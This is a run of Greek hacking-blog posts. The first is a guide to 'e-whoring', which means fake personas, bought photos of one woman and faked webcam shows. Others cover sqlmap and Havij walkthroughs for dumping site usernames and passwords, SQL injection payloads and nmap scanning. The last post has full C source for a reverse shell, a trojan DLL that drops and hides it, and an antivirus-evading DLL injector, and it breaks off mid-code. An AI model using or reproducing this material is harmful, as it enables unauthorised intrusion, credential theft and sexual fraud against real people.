Τι χρειάζομαι για να κανω e-whoring

Posted on 5 Οκτωβρίου 202317 Μαΐου 2024 by Αλέξανδρος Βυζάντιος

Τι Θα Χρειαστούμε

♣ Να φτιάξουμε το δημόσιο προφίλ μας. Οπότε φτιάχνουμε λογαριασμούς σε  Facebook,Yahoo,Paypal και skype

Όλοι οι λογαριασμοί πρέπει να έχουν τα ίδια στοιχεία!! Φυσικά σε καμία περίπτωση δεν δίνετε τα δικά σας.

Τι στοιχεία πρέπει να βάλω;

• Μπορείτε να σκεφτείτε τα στοιχεία που θα έχει το ψεύτικο πρόσωπό σας, όπως όνομα, επώνυμο, ημ/γεν,καταγωγη κτλ
• Για μεγαλύτερη ευκολία μπορείτε να χρησιμοποιήσετε την σελίδα https://www.fakenamegenerator.com/ όπου εισάγοντας το φύλο που επιθυμείτε (άνδρας η γυναίκα)  την χώρα και κάποια ακόμα στοιχεία,  θα σας δημιουργήσει για εσάς ένα ψεύτικο προφίλ, και θα σας δώσει και όλα τα στοιχεία σχετικά με αυτο

Όπως: Όνομα, επώνυμο, διεύθυνση, Ημερομηνία Γέννησης, Σωματότυπο, Αυτοκίνητο που υποτεθείτε  οδηγεί, και δεκάδες ακόμα πληροφορίες.

 

♣  Προμηθευτείτε φωτογραφίες, αν θέλετε βίντεο και απαραιτήτως ένα live stream show! 

• Οι φωτογραφίες πρέπει να είναι ΟΛΕΣ ΑΠΟ ΤΟ ΙΔΙΟ ΚΟΡΙΤΣΙ και οσο περισσότερες τόσο καλύτερο
• Βίντεο δεν είναι αναγκαστικό αλλα καλο είναι να εχετε ενα…
• Οσο για Live Shows πρέπει να έχετε οπωσδήποτε ένα για να δείχνετε οτι είστε αληθινή.

Για όλα τα παραπάνω, μπορείτε να δημιουργήσετε δικα σας(αμα ξέρετε)να κατεβάσετε(λίγαπράγματα με ψάξιμο και δύσκολα) ή να αγοράσετε (ίσως το καλύτερο)

VPN

Το αμέσως επόμενο που θα χρειαστείτε είναι ένα VPN, προτείνω CyberGhost 

 

♣♣  ♣  Για τέλος χρειαζόμαστε και Το manycam  ♣  ♣♣

ManyCam είναι ένα πρόγραμμα το οποίο δίνει εφέ στη κάμερα μας και εχει πολλές άλλες ενέργειες για κaμερες. 

Κατεβαστέ το απο την επίσημη  ιστοσελίδα→  http://download.manycam.com/  

με αυτο το πρόγραμμα μπορούμε να προσθέσουμε και άλλες κάμερες.. μπορούμε να τραβάμε και ένα συγκεκριμένο μέρος του Desktop Μας 

 

Ακολουθούν και τα επόμενα part. 

 

Related posts:

Ιδεολογία Hacking Διαφορές Hacker με Cracker Γιατί η αγορά ενός crypter μπορεί να αποβεί άχρηστη ? Δωρεάν Verification χωρίς πραγματικό αριθμό τηλεφώνου.

Πως να κάνετε μια database dump με τη χρήση του SqlMap

Posted on 4 Οκτωβρίου 202317 Μαΐου 2024 by Αλέξανδρος Βυζάντιος

Πάμε να δούμε πως θα κάνουμε μια database dump με τη χρήση του Sql Map.

Κάποιες βασικές εντολές που θα χρειαστούμε.

Εκτέλεση του sqlmap –> CD C: \ python27 \ sqlmap (ανάλογα με το πού έχετε τοποθετήσει)

Εύρεση κενών ασφαλείας –> sqlmap.py -u <URL> - sqlmap.py -u <URL>

Εύρεση των βάσεων δεδομένων –> sqlmap.py -u <URL> --dbs

Αποκτήστε πρόσβαση στη βάση δεδομένων που θέλετε –> sqlmap.py -u <URL> --tables -D <όνομα βάσης δεδομένων>

Τραβήξτε τις στήλες των πινάκων –> sqlmap.py -u <URL> -columns -Τ <όνομα πίνακα>

Βρείτε τα δεδομένα απο τα tables–> sqlmap.py -u <URL> --columns -Τ <όνομα πίνακα> -C <ονόματα των στηλών> (serperate με κόμματα EG: a_username, a_password) --dump

Ας ξεκινήσουμε.

Δεν θα μπω στη διαδικασία να σας εξηγήσω πως μπορούμε να βρούμε μια σελίδα ευάλωτη σε sql injection η πως κάνουμε εγκατάσταση του Sqlmap.

1)Δίνουμε την εντολή 

sqlmap.py -u vuln url

Όπου vuln url βάζουμε το δικό μας.

Αν είναι ευπαθής η σελίδα θα δείτε κάτι σαν το παρακάτω.

2)Πάμε να βρούμε την βάση δεδομένων, αυτο μπορούμε να το κάνουμε με την εντολή

sqlmap.py -u <vuln url> --dbs

Και σαν αποτέλεσμα παίρνουμε την βάση δεδομένων της σελίδας.

3)Τώρα θα πρέπει να πάρουμε πρόσβαση το οποίο είναι εύκολο! Διαγράψετε –dbs και πληκτρολογήστε –tables -D και, στη συνέχεια, τη βάση δεδομένων που θέλετε.

Τι κάναμε ακριβώς; το –tables λέει  στο sqlmap οτι  ψάχνουμε για πίνακες και το  -D (πρέπει να είναι κεφαλαία!) λέει  στο sqlmap οτι θέλουμε να ανοίξουμε αυτή τη βάση δεδομένων.

Αν όλα πάνε καλα θα πρέπει να μοιάζει με την παραπάνω εικόνα

4)Τώρα θα πρέπει να ανοίξετε τους πίνακες που βρήκε για να διαβάσουμε τα δεδομένα, usernames,passwords κλπ

Διαγράψτε το –tables και αντικαταστήστε το με –columns το οποίο ενημερώνει τον χρήστη οτι θέλουμε να ανοίξουμε τις στήλες στη συνέχεια, πληκτρολογήστε -Τ (ΚΕΦΑΛΑΙΑ!) Και, στη συνέχεια, το πίνακα που θέλετε να ανοίξετε!

Και το αποτέλεσμα

Βλέπουμε δύο πράγματα  ενδιαφερων, db_username και db_password.

Για άλλη μια φορά,  προσθέστε -C βάση δεδομένων, βάση δεδομένων αντικατάστασή τους με αυτά που θέλετε και, στη συνέχεια, –dump στο τέλος, αυτό  λέει στο sqlmap οτι θέλουμε να έχουν πρόσβαση σε δύο από αυτές τις στήλες.

 

Related posts:

Ιδεολογία Hacking Διαφορές Hacker με Cracker Γιατί η αγορά ενός crypter μπορεί να αποβεί άχρηστη ? Δωρεάν Verification χωρίς πραγματικό αριθμό τηλεφώνου.

Sql Injection-Tύποι Και Παραδείγματα

Posted on 3 Οκτωβρίου 202317 Μαΐου 2024 by Αλέξανδρος Βυζάντιος

**Η SQL injection μπορεί να χωριστή σε 3 κατηγορίες**

INBAND:

Τα δεδομένα εξάγονται χρησιμοποιώντας το ίδιο κανάλι με αυτό που χρησιμοποιείτε για το injection στην SQL.  Αυτός είναι ο πιο απλός τύπος επιθέσεις SQL όπου τα δεδομέναπαρουσιάζονται απευθείας στην ιστοσελίδα.

OUT_OF_BAND:

Τα δεδομένα εξάγονται χρησιμοποιώντας διαφορετικό κανάλι (π.χ κάποιο email) δηλαδή τα δεδομένα από το injection στέλνονται σε ένα email που έχει προκαθοριστεί.

INFERENTIAL:

Δεν υπάρχει πραγματική μεταφορά δεδομένων αλλα ο επιτιθέμενος είναι σε θέσει να ανακατασκευάσει τις πληροφορίες με την αποστολή συγκεκριμένου αιτήματος προς την βάση δεδομένων και παρατηρώντας την “συμπεριφορά” αντίδραση του website.

**ΤΥΠΟΙ SQL INJECTION**

ERROR-BASED: Ρωτάμε την Database κάτι που θα προκαλέσει κάποιο error

#παράδειγμα: http://example.com/page.asp?id=1or 1=convert(int,(USER))--

UNION-BASED: Το SQL union χρησιμοποιείτε για να συνδυάσει τα αποτελέσματα δυο η περισσοτέρων SELECT SQL σε ένα και μονο αποτέλεσμα

#παράδειγμα: http://example.com/page.asp?id=1UNION SELECT ALL 1,2,3,4--

http://example.com/page.asp?id=1UNION SELECT ALL 1,USER,3,4–

BLIND-BASED: Κάνουμε στην Database μια true/false ερώτηση και περιμένουμε εάν θα πάρουμε θετική απαντήσει, δηλαδή εάν θα εμφανιστεί το αποτέλεσμα που ρωτήσαμε, η αλλιώςχρησιμοποιώντας τον χρόνο ως μια παράμετρο

 

#παράδειγμα: http://example.com/page.asp?id=1;IF(LEN(USER)=1)WAITFORDELAY '00:00:05'

http://example.com/page.asp?id=1;IF(LEN(USER)=2)WAITFORDELAY '00:00:05'

http://example.com/page.asp?id=1;IF(LEN(USER)=3)WAITFORDELAY '00:00:05'

 

**ΚΑΘΟΡΙΣΤΕ ΤΟΝ ΤΥΠΟ ΤΗΣ SQL INJECTION**

Υπάρχουν δυο τύποι injection που βασίζονται στο εάν ο τύπος του ευπαθές site είναι βασισμένο σε Integer η σε String. Στην περίπτωση του Integer για το injection δεν χρειαζόμαστε αυτό που λέμε single quote(‘)

Στην άλλη περίπτωση όμως του String τότε το single quote(‘) είναι απαραίτητο

#παράδειγμα: http://example.com/page.asp?id=1

http://example.com/page.asp?id=x'

 

Related posts:

Ιδεολογία Hacking Διαφορές Hacker με Cracker Γιατί η αγορά ενός crypter μπορεί να αποβεί άχρηστη ? Δωρεάν Verification χωρίς πραγματικό αριθμό τηλεφώνου.

Πώς να χακάρετε μια σελίδα με το Havij (script kiddie)

Posted on 2 Οκτωβρίου 202317 Μαΐου 2024 by Αλέξανδρος Βυζάντιος

Πάμε να δούμε πως θα εκμεταλλευτούμε μια ευπάθεια sql injection με τη χρήση του Havij

1)Πρέπει να έχουμε βρει μια ευπαθής (vulnerability)  ιστοσελίδα. 

2)Βάζουμε το url στο Havij και πατάμε Analyze

 

Όπως βλέπετε απο κάτω το status γραφεί Analyze target. 

Περιμείνουμε μεχρι να τελειώσει το Analyze 

Βρίσκουμε τα Tables 

Θα δείτε ότι μας έβγαλε κάποια Tables 

Βρισκουμε τα Columns
Απο τα tables που μας εβγαλε κοιτάμε να υπάρχει κάποιο με όνομα: “admin,users,members.”αυτα ειναι τα πιο γνωστά.
Αμα βλέπετε κάποιο απο αυτα κάνετε ένα click πιάνω του και μετα πατήστε Get Columns 

Και έτσι πήραμε τα Columns!!

Στα Columns θα βρείτε Username και Password κάντε ενα click πιάνω τους και μετα πατήστε Get Data

 

Μολις πηρατε το Username και το Password
Το Password συνηθως ειναι σε μορφη Hash
Για να το σπασετε πηγαινετε στην επιλογη MD5 που υπαρχει στο προγραμμα και καντε επικολληση το Hash μεσα στο κουτακι που εχει και πατηστε Start.

Το μόνο που μας έμεινε ειναι να βρούμε απο που κανει ο Admin login.
Πηγαίνουμε στην επιλογή Find Admin βαζουμε την σελίδα μας στο κουτάκι που εχει και πατάμε Start..

 

 

 

Related posts:

Ιδεολογία Hacking Διαφορές Hacker με Cracker Γιατί η αγορά ενός crypter μπορεί να αποβεί άχρηστη ? Δωρεάν Verification χωρίς πραγματικό αριθμό τηλεφώνου.

Information Gathering με NMAP

Posted on 2 Οκτωβρίου 202317 Μαΐου 2024 by Αλέξανδρος Βυζάντιος

Σε αυτό το tutorial θα χρησιμοποιήσουμε το NMAP για να συγκεντρώσουμε πληροφορίες για ανοικτές πόρτες στο στόχο μας.

Ας ξεκινήσουμε με κάποια βασικά πράγματα για το NMAP.

Χρησιμοποιώντας το NMAP μπορούμε να βρούμε ανοικτές πόρτες και εκδόσεις υπηρεσιών οι οποίες τρέχουν σε ένα server και μπορούν να μας βοηθήσουν να λάβουμε άμεση πρόσβαση εκμεταλλεύοντας οποιαδήποτε λειτουργία ή μέσω bruteforce. Επίσης μπορούν να μας βοηθήσουν να καταλάβουμε σχετικά με υπηρεσίες οι οποίες τρέχουν στο server, έτσι ώστε αργότερα μπορεί να χρειαστούν ενώ κάνουμε pentesting.

 

Δύο βασικοί τύποι σκαναρίσματος οι οποίοι χρησιμοποιούνται συχνότερα στο NMAP είναι το TCP connect() scanning [-sT] και το SYN scanning (γνωστό επίσης και ως half-open, ή stealth scanning) [-sS].

Για ένα απλό σκανάρισμα για πόρτες:

Nmap <IP Address>

Για ένα Stealth σκανάρισμα για πόρτες:

Nmap -sS <IP Address>

Για να σκανάρουμε την έκδοση μιας υπηρεσίας η οποία τρέχει σε ανοικτές πόρτες χρησιμοποιούμε τη μεταβλητή -sV

Nmap -sV <IP Address>

Μερικές φορές αν ένας server μπλοκάρει το ping μας και δείχνει πως δε λειτουργεί, τότε μπορούμε να χρησιμοποιήουμε τη μεταβλητή -Pn για να το σκανάρουμε

Nmap -sV -Pn <IP Address>

Για να βρούμε το λειτουργικό σύστημα μπορούμε να χρησιμοποιήσουμε το τη μεταβλητή -O

Nmap -O -Pn <IP Address>

Related posts:

Ιδεολογία Hacking Διαφορές Hacker με Cracker Γιατί η αγορά ενός crypter μπορεί να αποβεί άχρηστη ? Δωρεάν Verification χωρίς πραγματικό αριθμό τηλεφώνου.

Reverse shell μέσω DLL Injection με χρήση undocumented WinAPI function

Posted on 1 Οκτωβρίου 202317 Μαΐου 2024 by Andreas Venieris

Στο άρθρο αυτό θα δείξουμε μια σχετικά παλιά αλλά πολύ διαδεδομένη μέθοδο που χρησιμοποιούν οι επιτιθέμενοι για να εγκαταστήσουν ένα backdoor στον υπολογιστή του θύματος. Το συγκεκριμένο άρθρο μπορεί να το δείτε και κάπου αλλού (στα Αγγλικά) μιας και το έχω γράψει σε ξενόγλωσσα forums. Δεν είναι καινούριο και γενικά χρησιμοποιεί λίγο παλαιότερη  τεχνολογία (όχι πολύ παλαιότερη btw… 😉 ) αλλά αυτό δεν πρέπει να μας ενοχλεί καθόλου για 2 λόγους:

1. Δεν μπορεί να χρησιμοποιηθεί (χωρίς κάποιες τροποποιήσεις) άμεσα για επιθέσεις.
2. Περνάει το μήνυμα της μεθοδολογίας που χρησιμοποιείται από τους επιτιθέμενους – που αυτό είναι και ένας από τους βασικούς στόχους του άρθρου.

Τι θα διαβάσετε σε αυτό το άρθρο

1) Πώς εκτελείται μια επίθεση DLL σε ένα υπολογιστή με Windows 7 Ultimate, με 2 τρόπους:

α) χρησιμοποιώντας μια documented Windows API function και
β) χρησιμοποιώντας μια μη τεκμηριωμένη (undocumented) API function των Windows. Αυτή η μέθοδος θα παρακάμψει επίσης το πρόγραμμα προστασίας από ιούς των Windows Essentials.
2) Όταν εκτελείται το injection, ένα private (μη ανιχνεύσιμο – τουλάχιστον την στιγμή που το έγραψα… 😉 ) reverse shell, (συμπεριλαμβάνεται ο πηγαίος κώδικας).
3) Επιπλέον, παρουσιάζεται μια (…πρωτότυπη ή καλύτερα λίγο αντισυμβατική) μέθοδος δημιουργίας ενός εκτελέσιμου αρχείου PE από ένα DLL κατά το χρόνο εκτέλεσης.

Πρέπει να είμαι guru για να το καταλάβω;

Αυτό το άρθρο αναφέρεται σε άτομα που γνωρίζουν ήδη πώς να προγραμματίζουν σε c ή c++ και έχουν βασικές γνώσεις για κλήσεις API των Windows. Επιπλέον, απαιτείται κάποια γνώση των τεχνικών εκμετάλλευσης ως εξής:

• Τι είναι ένα reverse shell και πώς χρησιμοποιείται.
• Πώς μπορεί να χρησιμοποιηθεί το Netcat για ακρόαση και επεξεργασία συνδέσεων (http://netcat.sourceforge.net/).
• Βασική χρήση του metasploit’s Armitage (https://www.kali.org/tools/armitage/).

Εισαγωγή

Το DLL Injection είναι μια δημοφιλής τεχνική που χρησιμοποιείται από τους εισβολείς για να εισάγουν κώδικα σε ένα εκτελέσιμο αρχείο προκειμένου να εκτελέσουν μια ελεγχόμενη εκτέλεση.

Θα παρουσιάσω δύο μεθόδους επιτυχημένης επίθεσης σε Windows 7 Ultimate OS που επιστρέφει ένα reverse shell στον εισβολέα. Η πρώτη μέθοδος χρησιμοποιεί την τεκμηριωμένη συνάρτηση API των Windows CreateRemoteThread και η δεύτερη μέθοδος χρησιμοποιεί την μη τεκμηριωμένη NtCreateThreadEx. Προτιμώ την τελευταία, γιατί η πρώτη “αγχώνει” λίγο το Windows Defender ενώ η δεύτερη όχι (τουλάχιστον όταν είχε δοκιμαστεί πριν μερικά χρόνια)!

Επιπλέον, ένα reverse shell (που αναπτύχθηκε σε c++) θα χρησιμοποιηθεί σε συνδυασμό με μια μέθοδο μεταφοράς ή… “συσκευασίας” ενός εκτελέσιμου αρχείου μέσα σε άλλο εκτελέσιμο αρχείο (ή DLL).

Η τελική επίθεση θα γίνει χρησιμοποιώντας δύο προσεγγίσεις:

• Την παραδοσιακή (χειροκίνητη) προσέγγιση που χρησιμοποιώ μόνο το Netcat και
• την… «επίσημη» προσέγγιση όπου χρησιμοποιώ το γνωστό Armitage του Metasploit arsenal. Φωτογραφίες της επίθεσης θα είναι διαθέσιμες σε εσάς καθώς και σύντομα βίντεο.

Πριν ξεκινήσουμε, θα ήθελα να διευκρινίσω ότι αυτό το άρθρο δεν είναι ένα σεμινάριο “Πώς να εισβάλετε”, ούτε μια μέθοδος εγκατάστασης ενός Trojan στο PC ενός θύματος. Είναι ακριβώς αυτό που δηλώνει ο τίτλος του: Μια μέθοδος κλήσης ενός Reverse Shell μέσω DLL Injection χρησιμοποιώντας μη τεκμηριωμένη συνάρτηση του API στα Windows 7.

Τα πρώτα βήματα

Για να εκτελέσουμε μια τέτοια επίθεση πρέπει πρώτα να αποφασίσουμε σε ποιο εκτελέσιμο πρόγραμμα θέλουμε να εισάγουμε τον κακόβουλο κώδικα μας. Στο παράδειγμά μου θα χρησιμοποιήσω σαν θύμα το πρόγραμμα Total Commander (http://www.ghisler.com), τον αγαπημένο Windows Manager των προγραμματιστών (και όχι μόνο!). Η εισαγωγή κακόβουλου κώδικα στο Total Commander, σημαίνει (εν ολίγης) ότι όταν ο χρήστης ξεκινήσει αυτό το πρόγραμμα στο τοπικό του υπολογιστή, θα λάβω αμέσως ένα reverse shell στο box μου (δηλ. στο… PC μου) με τα ίδια δικαιώματα που έχει το Total Commander όταν εκτελείτε. Για να είμαι πιο συγκεκριμένος, η μέθοδος ακολουθεί τρία βήματα που θα αναλύσω παρακάτω.

Η Μέθοδος

Βήμα 1. Έλεγξε εάν εκτελείται το «Total Commander».
Βήμα 2. Εάν εκτελείται, εκτέλεσε το injection και εκτέλεσε ένα reverse shell σε μια συγκεκριμένη διεύθυνση IP, μετά συνέχισε την εκτέλεση του Total Commander.
Βήμα 3. Εάν το “Total Commander” δεν εκτελείται, τότε πήγαινε στο 1.

Η προσέγγισή μου θα χρησιμοποιήσει τρία προγράμματα:
1. totalcmd.exe (Total Commander): είναι το πρόγραμμα που θα πυροδοτήσει όλη την επίθεση.
2. myDLL.DLL: Είναι η DLL που θα χρησιμοποιηθεί ως δούρειος ίππος. Θα “μεταφέρει” τον εκτελέσιμο κώδικα του reverse shell. Μία από τις κύριες αρμοδιότητές του είναι όταν κληθεί το event DLL_PROCESS_ATTACH, θα “αποσυσκευάσει” το reverse shell στο δίσκο και θα το εκτελέσει.
3. dllattack08.exe: Είναι το βασικό κακόβουλο πρόγραμμα που όταν εκτελεστεί στον υπολογιστή του θύματος, θα παραμείνει στη μνήμη εκτελόντας τα παραπάνω 3 βήματα της μεθόδου.

1. Δημιουργία του Reverse Shell.

Θα παρουσιάσω εδώ τον πηγαίο κώδικα του (private – εκείνη την εποχή που το έφτιαξα) Reverse Shell.

---

// reverse shell in win32
// by thiseas 2010
// Compile with VS 2008 from command line with cl:
// cl PROGRAMrs.c -> PROGRAMrs.exe
////////////////////////////////////////////////
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, “Ws2_32.lib”) //Inform the linker that the Ws2_32.lib file is needed.

#define DEFAULT_PORT 1234
#define DEFAULT_IP “192.168.1.70”

WSADATA wsaData;
SOCKET Winsocket;
STARTUPINFO theProcess; 
PROCESS_INFORMATION info_proc; 
struct sockaddr_in Winsocket_Structure;

int main(int argc, char *argv[])
{
char *IP =  DEFAULT_IP;
short port = DEFAULT_PORT;

if (argc == 3){ 
strncpy(IP,argv[1],16);
port = atoi(argv[2]);
}
 
WSAStartup(MAKEWORD(2,2), &wsaData);
Winsocket=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL, (unsigned int) NULL, (unsigned int) NULL);
Winsocket_Structure.sin_port=htons(port);
Winsocket_Structure.sin_family=AF_INET;
Winsocket_Structure.sin_addr.s_addr=inet_addr(IP);

if(Winsocket==INVALID_SOCKET)
{
WSACleanup();
return 1;
}

if(WSAConnect(Winsocket,(SOCKADDR*)&Winsocket_Structure,sizeof(Winsocket_Structure),NULL,NULL,NULL,NULL) == SOCKET_ERROR)
{
WSACleanup();
return 1;
}

// Starting shell by creating a new process with redirected i/o.
 
memset(&theProcess,0,sizeof(theProcess));
theProcess.cb=sizeof(theProcess);
theProcess.dwFlags=STARTF_USESTDHANDLES;
 
// here we make the redirection
theProcess.hStdInput = theProcess.hStdOutput = theProcess.hStdError = (HANDLE)Winsocket;
 
// fork the new process.
if(CreateProcess(NULL,”cmd.exe”,NULL,NULL,TRUE,0,NULL,NULL,&theProcess,&info_proc)==0)
{
WSACleanup();
return 1;
}

return 0;
}

---

Το παραπάνω πρόγραμμα μπορεί να χρησιμοποιηθεί ως αντικατάσταση του Netcat ή σε συνδυασμό με αυτό.

Χρήση
Για να τρέξουμε με επιτυχία το shell πρέπει να εκτελέσουμε τις ακόλουθες δύο εντολές:

Εντολή 1: Στο PC του επιτιθέμενου, εκτελέστε το Netcat για να βάλετε σε Listening mode μια σύνδεση:

• στο Fedora : nc -l 1234
  στο ubuntu: nc -v -l -p 1234
  σε Windows : nc -v -l -p 1234

Εντολή 2: Στο PC του θύματος, εκτελέστε το reverse shell:
c:> PROGRAMrs.exe <attackerIP> 1234

2.Πώς θα φυλάξουμε τον εκτελέσιμο κώδικα του shell μέσα σε ένα άλλο πρόγραμμα

Θα «αποθηκεύσω» τον εκτελέσιμο κώδικα μέσα στο DLL (που θα χρησιμοποιήσω αργότερα) για να εκτελεστεί όταν χρειαστεί (θα εξηγήσω αργότερα πώς). Έτσι, πρέπει να πάρω τον HexCode του εκτελέσιμου ReverseShell μου και να τον βάλω μέσα σε άλλο πρόγραμμα. Υπάρχουν διάφορες μέθοδοι για να γίνει αυτό. Ο στόχος είναι να αποθηκεύσετε ολόκληρο το ReverseShell εκτελέσιμο μέσα σε έναν byte Array και στη συνέχεια να γράψετε αυτόν Byte Array στο δίσκο με ένα νέο όνομα. Το νέο αρχείο που θα δημιουργηθεί θα είναι ένα κανονικό εκτελέσιμο PE (http://en.wikipedia.org/wiki/Portable_Executable)!

Ανοίγω το εκτελέσιμο “PROGRAMrs.exe” του αντίστροφου κελύφους χρησιμοποιώντας τον αγαπημένο μου επεξεργαστή ultraEdit (το οποίο είναι επίσης hex editor). Επιλέξτε όλα, κάντε δεξί κλικ και επιλέξτε Hex Copy Selected View (εικόνα 1).

Επικολλώ τα επιλεγμένα code-bytes σε ένα νέο αρχείο. Επιλέγω τις συγκεκριμένες στήλες στον editor (Alt+C) και επιλέγω όλο τον byte-code. Στη συνέχεια, κάνω δεξί κλικ και αντγραφή Ctrl+C (εικόνα 2).

Έβαλα τα επιλεγμένα byte σε ένα νέο αρχείο και έβαλα ένα “\x” μεταξύ κάθε δεκαεξαδικού, όπως δείχνει το ακόλουθο παράδειγμα:
Από:

---

…

4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00

…

---

Σε:

---

…
\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00
…

---

Για να το κάνω γρήγορα μπορώ στον editor να αντικαταστήσω όλα τα κενά με ‘\x’ και τελικά να καταλήξω στο παρακάτω:

Εντάξει, αυτό ήταν. Αποθηκεύω αυτό το αρχείο στο δίσκο με το όνομα MyTempByteCode.txt.

3.Δημιουργώ την DLL

Ήρθε η ώρα σε αυτό το 3ο βήμα, να δημιουργήσω την DLL. Είναι η DLL που θα χρησιμοποιηθεί ως δούρειος ίππος. Θα φέρει μέση της το ReverseShell μέσα. Μία από τις κύριες αρμοδιότητές της είναι όταν κληθεί και εκτελεστεί το event DLL_PROCESS_ATTACH, θα αποσυσκευάσει το ReverseShell στο δίσκο και θα το εκτελέσει.

Την δημιούργησα χρησιμοποιώντας C++ στο Microsoft Visual Studio 2008 και ο κώδικας της είναι ο παρακάτω:

---

// The Trojan DLL

//

////////////////////////////////////////////////////

#include<stdio.h>

#include <windows.h>  

// In recerseshell I just put contents of the file MyTempByteCode.txt

char recerseshell[] =

“\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00”

“\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00”

“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00”

“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD0\x00\x00\x00”

“\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68”

“\x69\x73\x20\x70\x72\x6F\x67\x72\x61\x6D\x20\x63\x61\x6E\x6E\x6F”

…

…

“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00”

“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00”

“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00”

“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00”

“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00”;

BOOL WINAPI DllMain(HANDLE hinstance, DWORD dwReason, LPVOID lpReserved)

{

switch(dwReason)

{

case DLL_PROCESS_ATTACH:

int i, len = sizeof(recerseshell);

FILE *ptr ;

ptr = fopen(“\\DLLInjection\\DirtyShell.exe”, “wb”);

for (i=0; i<len; i++)

fprintf(ptr, “%c”,recerseshell[i]);

fclose(ptr);

Sleep(1000);

WinExec(“\\DLLInjection\\DirtyShell.exe 192.168.57.147 6666”, SW_HIDE);  

Sleep(1000);

WinExec(“cmd /c “”del \\DLLInjection\\DirtyShell.exe”” “, SW_HIDE);

}

}

---

Ο πηγαίος κώδικας είναι (πιστεύω) αυτονόητος: Όταν ενεργοποιηθεί το event DLL_PROCESS_ATTACH, θα γράψω τα shell-bytes σε ένα αρχείο και θα το εκτελέσω (για να ξεκινήσει το RevsreShell) και αμέσως μετά θα τον διαγράψω από το δίσκο για να κρύψω τα ίχνη μου. Φυσικά, αυτό θα έχει μείνει στην μνήμη και θα επιτελεί την κακόβουλη εργασία του, δηλαδή θα έχει δώσει μη εξουσιοδοτημένη πρόσβαση στον επιτιθέμενο.

4.Εκτελώντας το Injection

Τώρα χρειάζομαι ένα πρόγραμμα για να ενεργοποιήσει, να καλέσει δηλαδή το παραπάνω DLL. Αυτό είναι βασικό πρόγραμμα που θα ενεργοποιήσει την επίθεση και είναι το: dllattack08.exe: Είναι αυτό που θα εκτελέσει το injection στο “Total Commander” χρησιμοποιώντας μια τεκμηριωμένη συνάρτηση WinAPI και μια μη τεκμηριωμένη WinAPI (the stealth case) – όπως είπαμε και στην αρχή του άρθρου.

---

// dllattack08.cpp
//
////////////////////////////////////////////////////

#include <windows.h>
#include <TlHelp32.h>
#include <shlwapi.h> // Add Lib: Shlwapi.lib
#include <stdio.h>

typedef NTSTATUS (WINAPI *LPFUN_NtCreateThreadEx)
(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN LPVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN LPTHREAD_START_ROUTINE lpStartAddress,
IN LPVOID lpParameter,
IN BOOL CreateSuspended,
IN ULONG StackZeroBits,
IN ULONG SizeOfStackCommit,
IN ULONG SizeOfStackReserve,
OUT LPVOID lpBytesBuffer
);

//Buffer argument passed to NtCreateThreadEx function
struct NtCreateThreadExBuffer
{
ULONG Size;
ULONG Unknown1;
ULONG Unknown2;
PULONG Unknown3;
ULONG Unknown4;
ULONG Unknown5;
ULONG Unknown6;
PULONG Unknown7;
ULONG Unknown8;
};

HANDLE GetProcessHandle(LPCWSTR szExeName, DWORD *ProcessID)
{
PROCESSENTRY32 Pc = { sizeof(PROCESSENTRY32) } ;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
if(Process32First(hSnapshot, &Pc)){
do{

if(StrStrI(Pc.szExeFile, szExeName)) {
*ProcessID = Pc.th32ProcessID;
return OpenProcess(PROCESS_ALL_ACCESS, TRUE, Pc.th32ProcessID);
}
}while(Process32Next(hSnapshot, &Pc));
}

return NULL;
}

BOOL DllInject(HANDLE hProcess, LPSTR lpszDllPath)
{
Sleep(2000);

HMODULE hmKernel = GetModuleHandle(L”Kernel32″);//heres the DLL
if(hmKernel == NULL || hProcess == NULL)
return FALSE;
int nPathLen = strlen(lpszDllPath); //MAX_PATH; //

LPVOID lpvMem = VirtualAllocEx(hProcess, NULL, nPathLen, MEM_COMMIT, PAGE_READWRITE);
if (lpvMem == NULL)
return FALSE;

if (!WriteProcessMemory(hProcess, lpvMem, lpszDllPath, nPathLen, NULL))
return FALSE;

DWORD dwWaitResult= 0, dwExitResult = 0;

HANDLE hThread = CreateRemoteThread(hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)GetProcAddress(hmKernel, “LoadLibraryA”),
lpvMem,
0,
NULL);

if(hThread != NULL){
dwWaitResult = WaitForSingleObject(hThread, 10000); // keep the dll injection action for 10 seconds before free.
GetExitCodeThread(hThread, &dwExitResult);
CloseHandle(hThread);
VirtualFreeEx(hProcess, lpvMem, 0, MEM_RELEASE);
return (1);
}
else{
return (0);
}
}

BOOL DllInject_2(HANDLE hProcess, LPSTR lpszDllPath)
{
Sleep(2000);

HMODULE hmKernel = GetModuleHandle(L”Kernel32″);//heres the DLL
if(hmKernel == NULL || hProcess == NULL) return FALSE;
int nPathLen = strlen(lpszDllPath); //MAX_PATH; //
LPVOID lpvMem = VirtualAllocEx(hProcess, NULL, nPathLen, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, lpvMem, lpszDllPath, nPathLen, NULL);
DWORD dwWaitResult, dwExitResult = 0;

HMODULE modNtDll = GetModuleHandle(L”ntdll.dll”);
if( !modNtDll )
{
return 0;
}

LPFUN_NtCreateThreadEx funNtCreateThreadEx =
